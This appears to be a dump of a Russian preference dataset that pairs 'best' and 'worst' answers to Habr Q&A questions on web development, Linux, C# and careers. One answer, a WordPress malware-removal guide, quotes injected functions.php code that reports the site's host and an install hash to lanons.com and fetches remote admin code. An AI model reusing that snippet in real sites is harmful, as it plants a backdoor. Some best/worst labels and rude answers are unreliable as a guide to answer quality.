Vikhrmodels/habr_qa_sbs huggingface dataset:
Вопрос: Макет мобильной версии сайта верстается максимум на 620px?

Лучший ответ:
Когда не будешь путать физическое разрешение и пиксельное разрешение, тогда приходи и спрашивай.
PS: Не 620, а 320.

Худший ответ:
Максимум - 414 x 736 pt. Это для iPhone 6 Plus.
Чтобы проверить это, в Chrome включите Console, потом Toggle Device Toolbar.
Или нажмите комбинацию клавиш Ctrl + Shift + M.
Вопрос: Как исключать повторения с одного массива?

Лучший ответ:
laravel - это backend. Ваша задача - frontend. Поэтому естественно - js.

Худший ответ:
Примерно так https://jsfiddle.net/62ajfx1b/.
Можно вместо css('display', 'none') использовать attr('disabled', true)
Вопрос: Как сделать систему самообслуживания?

Лучший ответ:
Для этого существуют сертифицированные биллинги.

Худший ответ:
Это нужно спросить у провайдера.
Либо делайте сначала без интеграции.
Вопрос: Почему не исполняется php?

Лучший ответ:
Потому что так решили создатели Web-сервера.

Худший ответ:
Доброе утроНе хочет исполнятся php, а именно: создаю html файл, помещаю php, например
Потому, что в html файле php код выполняться не будет никогда и ни при каких обстоятельствах.
Если Вы хотите, чтобы php код выполнялся в html, то Вам надо через .htaccess это указать, а так же в этом же файле можно переопределить порядок исполнения файлов.
Но лучше этого не делать, а оставить всё как есть и писать php код в php файлах, а html разметку в html файлах)))
И всё будет хорошо, и всё будет работать.
Вопрос: Как правильно настроить сетевой адаптер в Linux с виртуальными машинами?

Лучший ответ:
Надо выдать вашему bridge0 адрес, собственно... 
Видимо, dhcp в вашем случае не работает, и надо:iface bridge0 inet static
  address <ваш адрес>
и.т.п.

Худший ответ:
В саму машину приходит один провод от провайдера? Если три, то наподобие такого:auto lo
iface lo inet loopback

iface eth0 inet manual

iface eth1 inet manual

iface eth2 inet manual

iface eth3 inet manual

auto vmbr0
iface vmbr0 inet static
        address  192.168.0.2
        netmask  255.255.255.0
        gateway  192.168.0.1
        bridge_ports eth0
        bridge_stp off
        bridge_fd 0

auto vmbr2
iface vmbr2 inet manual
        bridge_ports eth1
        bridge_stp off
        bridge_fd 0
vmbr2 можно прокинуть в ВМ и дать ей статику.
Вопрос: Аппаратный сервер удалённого доступа?

Лучший ответ:
гуглить по словам: ip kvm. 
дешёвые длинки, как правило, быстро умирают.
можно закостылить

Худший ответ:
Ip kvm это всегда дорого.
Разве что штатная интеловская технология Intel vPro, там еще терпимый ценник.
Хотя далеко не все чипсеты ее поддерживают, и процессор там должен быть не ниже i5 и без индекса.
Вопрос: Почему при получении токена вконтакте, я не могу отправить сообщение с другого компьютера?

Лучший ответ:
Да, токен потеряет свою силу. А избежать 17 ошибки не удастся, пока пользователь не подтвердит себя с IP другого пк

Худший ответ:
Можно ли отправлять сообщения с другого компьютера, имея токен
Через прокси, только не найдетесь на бесплатные публичные, с них может вообще не получиться.
Вопрос: Как правильно верстаются такие рамки?

Лучший ответ:
Можно поиграть с псевдоэлементами, которые будут перекрывать border'a (сами border'a можно сделать с помощью фона контейнера и margin между ячейками, например) и nth-of-type, т.к. белые области симметричны друг другу, но смещены отностительно пересечения ячеек и поэтому ширина псевдоэлементов для каждой n-ой ячейки будет своя..
Можно тупо задать position: relative контейнеру, рамки сверстать самым обычным образом подкрашивая border, а внутрь контейнера поместить пару элеметов c position: absolute и z-index, которые бы играли роль засветки на пересечениях рамок. Очевидно, что для более или менее динамической генерации ячеек этот способ не подходит.
Можно сделать комбинацию из двух этих вариантов.
В общем вопрос "как правильно" сильно зависит от вопроса - "а что это должно быть":)

Худший ответ:
Вам достаточно просто создать псевдоэлемент для каждого ВТОРОГО блока, создаете :after,:before в виде белых квадратиков и накладываете их на соседей (задаете им отрицательные отступы слева/справа/снизу). Вот и все. Ничего сложного в этом нет.
Вопрос: PHP как проверить с какой страницы пришел запрос?

Лучший ответ:
Неправильный вопрос. Ответ на правильный вопрос гуглится по запросу "CSRF".

Худший ответ:
$_SERVER['HTTP_REFERER'] // тут адрес страницы, с которой был отправлен запрос
Однако учтите, что данного свойства может и не быть. Поэтому всегда проверяйте его на наличие. 
Если нужна 100% гарантия, отправляйте из вашего скрипта дополнительное свойство, например, referer_id (либо id, чтобы на сервере получить из предопределенного массива саму ссылку, если у вас скрипты расположены в четко определенных местах; либо саму ссылку).
Вопрос: Как сменить директорию в Debian после входа по ssh?

Лучший ответ:
А сли так: How can I automatically change directory on ssh login?

Худший ответ:
Поменяйте домашний каталог для пользователя на тот что вы указали, и будет вам счастье.
Вопрос: После публикации в Google Play не выводится реклама?

Лучший ответ:
По новым правилам,реклама показывается только после того,как начинают поступать запросы))
Просто нужно подождать,пока твою игру начнут играть 5-6 человек.
У себя одна игра только недавно начала показывать баннеры,когда игру начали скачивать по 5-6человек (неделя прошла) человек в день(провальная игра)

Худший ответ:
А реклама какая? Адмоб? Тестовые баннеры или уже реальные?
Вопрос: Как отсортировать список в Word/Excel, если стандартные средства не помогают?

Лучший ответ:
shushpanio, а вот и нет. Легко делается через формулы + сортировка:
Да, там не видно,но ячейка x42 из формулы находится слева от числа, а x41 соответственно слева и выше.
Но я все равно предпочитаю vba, ибо быстрее

Худший ответ:
Штатными средствами никак.
Только с помощью VBA.
Вопрос: Зачем нужна статическая типизация, и можно ли обойтись без неё?

Лучший ответ:
и суй в неё что твоей душе угодно
И в итоге у вас будет приложение в которое "насовано что душе угодно" и в котором черт ногу сломит.
Статическая типизация нужна чтобы снизить вероятность ошибки. Если функция принимает число, то она и должна принимать число, а не строку или массив.

Худший ответ:
Зачем нужна статическая типизация, и можно ли обойтись без неё?
Для HelloWorld она совершенно не нужна.Ведь можно же просто объявить переменную, и суй в неё что твоей душе угодно, хоть строку, хоть число и т.д.
Видимо, именно так мыслят авторы говнокода, которых проклинают последующие разработчики, которым "посчастливилось" дорабатывать их проекты.И что может за собой повлечь игнорирование статической типизации
Вырванные волосы при отладке проекта на 5000 строк.
Вопрос: Какой хороший курс по JS (для среднего уровня)?

Лучший ответ:
learn.javascript.ru
+
фленагана справочник
+
годы тяжелой практики

Худший ответ:
Еще гляньте на coursera курсы от МФТИ и Яндекса
Вопрос: Создание поддоменов на Битрикс?

Лучший ответ:
Если физически сайт будет один и тот же (разница только в списке товаров и др. характеристиках), то вам нужно настроить сервак (dns записи), чтобы все поддомены, автоматически шли на основной сайт, а на сайте в зависимости от поддомена, меняли поведение.
Битриксовая многосайтовость - не для этих задач.

Худший ответ:
"многосайтовость" https://dev.1c-bitrix.ru/learning/course/?COURSE_I...
Это если вам нужно чтоб странички отличались
1 доп домен входит бесплатно дальше нужно платить небольшие копейки за каждый новый сайт.
Если нет то вполне себе хватит зеркал что сомнительно кстати.
Вопрос: Как можно реализовать определение болезни по симптомам?

Лучший ответ:
Компания IBM давно уже озаботилась этим вопросом. Её детище называется Watson. Он уже закончил мед вуз и поступил на работу в некоторые мед организации. 
Думаете, сможете сделать что-то подобное на коленке, и чтобы работало на обычном ПК?

Худший ответ:
Возможно будет полезно посмотреть документ www.ict.edu.ru/ft/003873/neiro.pdf Глава 5 Медицинская нейроинформатика..  "Исследователи обучили огромное количество нейросетей (167 сетей для диагностики инфаркта миокарда передней стенки и 139 сетей для инфаркта нижней стенки) на массиве данных из 360 электрокардиограмм." А так же посмотреть алгоритмы "Метод динамических ядер с учителем и без".
Вопрос: Как работает передача данных по RCA?

Лучший ответ:
Очень сложно работать на 8bit контроллерах с видео. Нет ни нужной периферии, ни скорости.
Стандарт называется composite video https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BC%D...
Сгенерировать простое изображение можно ещё, примеры можно найти. На счёт захвата не уверен что получится на таких камнях.

Худший ответ:
Никак. Вычислительных ресурсов ардуины не хватит для обработки потокового видео.
Вопрос: Как поставить bower ("bower" не является внутренней или внешней командой...)?

Лучший ответ:
После успешной установки Bower через npm вам также необходимо установить путь либо напрямую к нему, либо к папке npm целиком, если исполняемый файл Bower лежит там же, где и npm, так как сама ваша система (Windows) сама этого угадать не может.
Для этого нужно зайти в "Свойства системы / Дополнительно / Переменные среды", после чего в разделе "Системные переменные" (не спутайте с "Переменные среды для пользователя %User%") отредактировать переменную path, добавив в нее через строчку запятой расположение исполняемого файла Bower.
Лично у меня и npm, и Bower лежат в одной папке, поэтому моя переменная содержит только лишь путь до нее, это что-то вроде "C:\Users\Stas\node.js\4.4.0\"
Проще говоря, найдите через поиск файл bower.cmd и добавьте в указанную системную переменную путь до него (без имени самого файла).

Худший ответ:
Если вы только-только установили NPM, то вам достаточно перелогиниться в системе или перезагрузиться.
При установке пакета глобально, NPM создает в своей папочке с бинарниками (куда уже после установки NPM смотрит переменная окружения PATH) исполняемый файл нового пакета. То есть никаких магических телодвижений делать не нужно.
Вопрос: Как настроить ограниченный удаленный доступ к серверу?

Лучший ответ:
Я бы нерекомендовал высовывать наружу порт RDP(хотя бы стандартный) - чтобы всякие боты не долбили его(постоянный запуск winlogon сжирает ресурсы). Сделайте VPN и пусть подключаются в начале к нему, а потом уже к RDP.

Худший ответ:
Если Ваши пользователи имеют доменные учетки, то эти учетки можно поместить в группу пользователей удаленного подключения. Все остальные пользователи подключится не смогут.
Вопрос: Что значит выражение «выстрелить себе в ногу?» (в виде кода)?

Лучший ответ:
Это означает, что на языке можно написать команду или конструкцию, которая сломает нормальное поведение программы или системы (или будет выполняться совершенно не так, как можно было бы логически предположить), и при этом компилятор/интерпретатор это скомпилирует и не ругнется.
Почитайте тут:
lurkmore.to/%D0%92%D1%8B%D1%81%D1%82%D1%80%D0%B5%D...

Худший ответ:
*((int *) 0) = 1;
Ни в одном другом языке это не осуществляется так просто.
Вопрос: Как думаете что стоит купить MacBook 12 или MacBook Pro 13"?

Лучший ответ:
Макбук Про конечно, он рассчитан на профессионалов, у него много портов, он очень мощный. Можно поработать в пути и подключить кучу мониторов если нужно.
Макбук 12 - это ноутбук офисного класса.Таскать с собой, лазить по сайтикам. Идеален для редкой работы в пути, но не более того. Процессор слабенький, первая же попытка скомпилировать что-то тяжелое - вас расстроит.

Худший ответ:
Ничего из этого не стоит покупать, пока не попробовали Хакинтош или VPS.
Вопрос: Может ли торговая марка отжать домен?

Лучший ответ:
Теоретически могут, если докажут, что сайт используется недобросовестно, то есть зареген с целью перепродажи. Если на сайте есть контент, если он работает - сделать это будет труднее, если там полторы страницы - легче... Хотя крупной и толстой торговой марке проще купить домен - практически всегда есть сумма, за которую Вы наверняка согласитесь его уступить :)

Худший ответ:
Да есть такая вероятность, однозначного законодательства нет .
Вопрос: Как на C# запустить поочередно несколько потоков (РЕШЕНО)?

Лучший ответ:
Вопрос таков — как мне сделать поочередное исполнение потоков ? Чтобы следующий поток ожидал пока предыдущий не закончит свою работу. И желательно как можно менее ресурсоемко.
Ниже приведён самый оптимальный вариант://Цикл в основном потоке
for(int i = 0; i < 500; i++) Console.WriteLine(i);

Худший ответ:
Вы уж определитесь, что вам нужно: либо параллельно выполнять, либо последовательно. Зачем создавать параллельный код, который будет вести себя как последовательный, но с диким overhead'ом?
Вопрос: Почему не работает z-index?

Лучший ответ:
Сделайте одинаковый position у header и submenu1.
Было похожая проблема, решил, поставив одинаковое значение свойства position.

Худший ответ:
потому что оно внутри header ваше субменю, у него не может быть индекс выше , чем у родителя, хоть 100500 выставьте, не сработает,  только выше чем у других элеметнов того же уровня, что и субменю.
Вопрос: Что написать на с# для тренировки?

Лучший ответ:
Есть два крупных класса задач - бизнес задачи и расчётные задачи.  Отсюда и рассуждайте. Есть, конечно, куча сайтов со всякими примерами и решениями, но хорошее правило - самому научиться видеть задачи, которые находятся вокруг вас. Очень много даже пользовательских задач сегодня не решены вообще никак. Даже под Windows. Или решены в количестве одной-двух программ с ужасным сервисом.
Вас что-то не устраивает? Берите и пишите. Основное набивание руки происходит не тогда, когда у вас что-то получается, а когда не получается час, два, день, неделя, но наступает момент, когда вы понимаете, вот оно - решение. 
В программировании очень ценится самостоятельность. Самостоятельность в выборе задачи, в поиске решения и т.д., когда вы выносите на публику готовый продукт.

Худший ответ:
Мой первый проект - парсер данных с популярного игрового сайта, который клал все данные в CSV-файлик
Мой второй проект - веб-морда, которая включает парсер игрового сайта и выводит данные табличном виде с последующей конвертации станицы в PDF-файл.
Мой третий проект - веб-сервис обработчик инфо-курсов, который грабает данные инфокурсов, и генерирует из этого каталог по тематика. Этот проект стал приносить мне адекватные деньги уже.
Вопрос: Как удалить нежелательные ссылки с WordPress сайта?

Лучший ответ:
результат появления этих ссылок это установка плагинов или тем со сторонних ресурсов, я допустим цепанул отсюда www.freenulled.top  и определил методом 3х часовых исследований и вычислений,  в папке плагина лежат файлы class.plugin-modules.php или class.theme-modules.php, удаляй сразу их на хостинге (проверь на всем сайте эти файлы), в них как раз начальный код установки червя который все подцепляет с сайта lanons.com или zanons.com. прописывает записи в functions.php и создает файлы.
идешь functions.php шаблона и там в самом начале увидишь:
//install_code1
error_reporting(0);
ini_set('display_errors', 0);
DEFINE('MAX_LEVEL', 2); 
DEFINE('MAX_ITERATION', 50); 
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);
там далее.........
if ($ping) {
						$content = @file_get_contents('www.lanons.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
						//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('www.lanons.com/admin.txt'));
//echo ABSPATH . 'wp-includes/class.wp.php';
					}
и конец.....
//install_code_end   ?>
удаляй весь этот код
Далее идешь wp-includes/  и в самом низу увидишь файлы 
wp-tmp.php
wp-vcd.php
wp-feed.php
wp-cd.php
удаляй их тоже, они все связаны с вирусом, в них как раз увидишь твои конечные ссылки
А лучше скачай сайт весь на комп и через notepad++ через поиск в файлах указываешь папку скаченного сайта и вводишь: домены своих ссылок, он проверит все файлы на наличие записей, удаляй их
далее вводи lanons.com и по той же схеме удаляешь весь код.
еще проверь наличие записей wp-tmp и других файлов которые выше написал
Ну вроде все ))

Худший ответ:
Cristalius помогло.. осталось вычислить плагин занесший эту заразу...  кстати https://aw-snap.info/file-viewer/ отличный сканер, без лишнего хлама
Вопрос: Как верстать прогрессбар?

Лучший ответ:
Основной контейнер серой полосы делается в relative, внутренние элементы-ползунки через absolute с процентуальным смещением и шириной.

Худший ответ:
ionden.com/a/plugins/ion.rangeslider
просто сделать поле активного range прозрачным и по сути то, что и требуется
Вопрос: Есть в Upwork команды, которые принимают новичков?

Лучший ответ:
Нет 
Станьте уже профи не ленитесь это не сложно
upworkest.ru

Худший ответ:
За новичком постоянно приходится доделывать и ПЕРЕДЕЛЫВАТЬ.
Новички - убыточны.
Нет, конечно. Никому вы не нужны.
Разве что - за еду.
Вопрос: Как выполнить вывод из бд как показано на примере?

Лучший ответ:
Сьезжает потому что у тебя неправильно сверстаны <tr> секции, каждая из них разная.

Худший ответ:
попробуй rowspan в последней строке таблицы убрать.
по нему получается, что у тебя еще строки будут, а по факту их нет.
Вопрос: Реально ли эмигрировать PHP программисту в возрасте?

Лучший ответ:
Почитайте-ка историю Алексея Ситникова
И лично от себя... Просто примите как данность - в жизни ВОЗМОЖНО ВСЁ! 
Что бы вы не планировали, какие бы цели не ставили, в какой бы ситуации не находились, как бы не комплексовали и какие-бы страхи вас не одолевали, ВСЕГДА найдется не один человек, который в схожих, либо худших, стартовых условиях добился того, о чем грезите и вы.

Худший ответ:
ты не стар, но ты новичок. пока достигнешь уровня профи, уже мало кому интересен будешь - это минимум 34-35 лет, если не 40... ведь надо знать не только php, но и как минимум фронтенд. в этом возрасте идти на позиции разработчика рядового может и можно, но молодые тебя все равно рвать и обгонять будут. 
насчет иммиграции - как думаешь, а много ты кому нужен будешь там? сейчас php-разрабов как собак нерезаных. порог вхождения низкий. любая обезьяна научиться может. чем ты лучше многих других то будешь в свои 35 лет?))
Вопрос: Можно что-то сделать, чтобы в Sublime работали сочетания клавиш на русской раскладке?

Лучший ответ:
Всем на будущее - решение такое:
Preferences - Key Bindings
Вставляете:[
{ "keys": ["ctrl+с"], "command": "copy" },
{ "keys": ["ctrl+ч"], "command": "cut" },
{ "keys": ["ctrl+м"], "command": "paste" },
{ "keys": ["ctrl+я"], "command": "undo" },
{ "keys": ["ctrl+shift+я"], "command": "redo" },
{ "keys": ["ctrl+ы"], "command": "save" },
{ "keys": ["ctrl+."], "command": "toggle_comment"},
]

Худший ответ:
Проверил только что под Win8 - работает.
Значит гугли по особенностям ubuntu/
Гугление по запросу ubuntu local hotkeys даёт, например, вот это (сам не читал):
https://www.kobzarev.com/soft/chinim-goryachie-kla...
Вопрос: Как организовать работу с git для нескольких проектов с одним общим?

Лучший ответ:
1) По мне самый оптимальный. Каждый проект независим друг от друга, но их связывает общее "что-то". Легко отслеживать какие изменение в каком проекте были, нет путаницы.

Худший ответ:
3. Сделать коммонс репозиторий и добавлять его или конкретную его версию, как зависимость у проекта
Вопрос: Как определить непорядочного работодателя?

Лучший ответ:
-Не работать с перекупщиками (у таких большое число положительных отзывов на биржах - парадокс, но так получается, что это отрицательный сигнал + практически всегда можно понять по обсуждению проекта, кто настоящий заказчик), только прямые клиенты.
-Частичная предоплата 
-Оплата по этапам
-Женщины кидают реже (но и работать сложнее)

Худший ответ:
Только через собственный опыт. Раз пять обманут - начнёшь различать. А так по своим самым первым внутренним ощущениям, коллег можно распросить. Если работаешь неофициально, то договаривайся об оплате понедельно или через две недели, чтоб не так обидно было. Если не согласны, то посылай и не жалей.
Вопрос: Как расшифровать дату в таком формате 1493316022?

Лучший ответ:
Это timestamp
PHP:echo date('r', 1493316022);
// Thu, 27 Apr 2017 18:00:22 +0000
JavaScript: date = new Date(1493316022 * 1000);
console.log(date.toString());
//Thu Apr 27 2017 21:00:22 GMT+0300 (MSK)

Худший ответ:
Чтобы в js дату из нее получить
new Date(1493316022 * 1000)
Таймштамп указан в секундах а нам нужен в миллисекундах
Вопрос: Как правильно реализовать такой слайдер?

Лучший ответ:
1) SVG и маски - css.yoksel.ru/svg-masks
2) div с transform: skew - https://html5book.ru/css3-transform/

Худший ответ:
1) коммерческий - preview.codecanyon.net/item/skewslider-10-20/full_...
2) халявный - https://www.jqueryscript.net/slider/jQuery-Skewed-...
3) можно угнать - http://view.jqueryfuns.com/预览-/2014/5/19/377_2518d...
Вопрос: Куда пойти школьнику учится на Веб-разработчика?

Лучший ответ:
Все только в ваших руках. Ни одно образование в России, ни за рубежом не даст вам гарантии, что вами заинтересуется Яндекс. Как и отсутствие высшего образования не будет преградой для получения работы в этой компании. Мнение программистов Яндекс на этот счет.

Худший ответ:
После прочтения статейки https://habr.com/company/yandex/blog/235171/ надо сделать два вывода:
1. Все работающие с высшим образованием.
2. Минимальный опыт программирования 10 лет [у девушки какой-то 7, спишем на погрешность))) ]Это все, что надо знать о работе в Яндексе.
Вопрос: Можно ли запустить игры на Virtualbox?

Лучший ответ:
Виртуальная машина не может работать быстрее реальной. 
А так как вы полный нуб по вашим же словам - я бы советовал вам не делать выводов насчет того что у вас накрылось, а описать именно прблемы запуска игр, привести скриншоты ошибок.

Худший ответ:
вы сначала проделайте эксперимент, установите на диск (сделав резервную копию конечно же) ту систему, которую хотели поставить в виртуалку (winxp как я понимаю), если все будет работать как надо, то возможно вам вариант с дуалбутом понравится больше чем запуск игр в виртуалке.
virtualbox/vmware player имеют ограниченную реализацию (читай эмуляцию) видеокарты, зачастую этого достаточно для работы приложений, использующих видеокарту для отрисовки интерфейса и возможно даже простого рендеринга (пакеты 3d моделирования), но для игр этого может оказаться недостаточно.
при использовании xen/vmware/kvm в принципе есть возможность пробросить видеокарту как оборудование внутрь виртуальной машины и приложения бдут использовать ее на полной ее скорости, но для этого требуется дорогое железо (материнка, процессор с поддержкой виртуализации и ограниченное количество видеокарт, чаще серверные - дорогие)
https://habrahabr.ru/post/137327/
точно помню, когда citrix представляла эту технологию, использовался дорогой ноутбук с intel процессором и видео
Вопрос: Как раз и навсегда отсортировать записи в PostgreSQL?

Лучший ответ:
PostgreSQL, как и многие другие СУБД, хранит данные в произвольном порядке. И выбирает он их тоже в произвольном, если не задано правило сортировки. Всё что вы можете сделать, это построить индекс по интересующим вас полям, чтобы выборка с сортировкой по этим полям выполнялась быстро.

Худший ответ:
Создаете view с нужной сортировкой и используете ее во всех запросах.
Вопрос: Как сделать стрелку линиями на css?

Лучший ответ:
Возможно поможет тыц

Худший ответ:
В дополнение к ответу Just_Andrew :CSS Shapes
Когда работал фронтендером, часто обращался к этой ссылке.